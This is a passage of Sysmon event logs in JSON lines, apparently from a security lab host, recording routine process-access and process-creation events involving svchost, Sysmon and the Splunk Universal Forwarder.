11:54:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4127,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:39.001\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:39.001","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4128,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:39.001\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:39.001","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4129,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:39.001\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:39.001","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4130,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:39.001\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:39.001","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4131,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:39.001\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:39.001","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4132,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:39.001\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-40FF-5F2D-0000-0010ACCF0500}\r\nTargetProcessId: 3972\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:39.001","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-40FF-5F2D-0000-0010ACCF0500}","TargetProcessId":"3972","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4133,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:39.141\r\nSourceProcessGUID: {90617006-40FF-5F2D-0000-0010ACCF0500}\r\nSourceProcessId: 3972\r\nSourceThreadId: 3032\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:39.141","SourceProcessGUID":"{90617006-40FF-5F2D-0000-0010ACCF0500}","SourceProcessId":"3972","SourceThreadId":"3032","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":4134,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:39.705\r\nProcessGuid: {90617006-40FF-5F2D-0000-001069D10500}\r\nProcessId: 868\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nFileVersion: ?\r\nDescription: ?\r\nProduct: ?\r\nCompany: ?\r\nOriginalFileName: ?\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\" --ps2\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:54:39.705","ProcessGuid":"{90617006-40FF-5F2D-0000-001069D10500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","FileVersion":"?","Description":"?","Product":"?","Company":"?","OriginalFileName":"?","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\" --ps2","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:54:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4135,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:39.704\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-40FF-5F2D-0000-001069D10500}\r\nTargetProcessId: 868\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:39.704","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-40FF-5F2D-0000-001069D10500}","TargetProcessId":"868","TargetImage":"C:\\Program 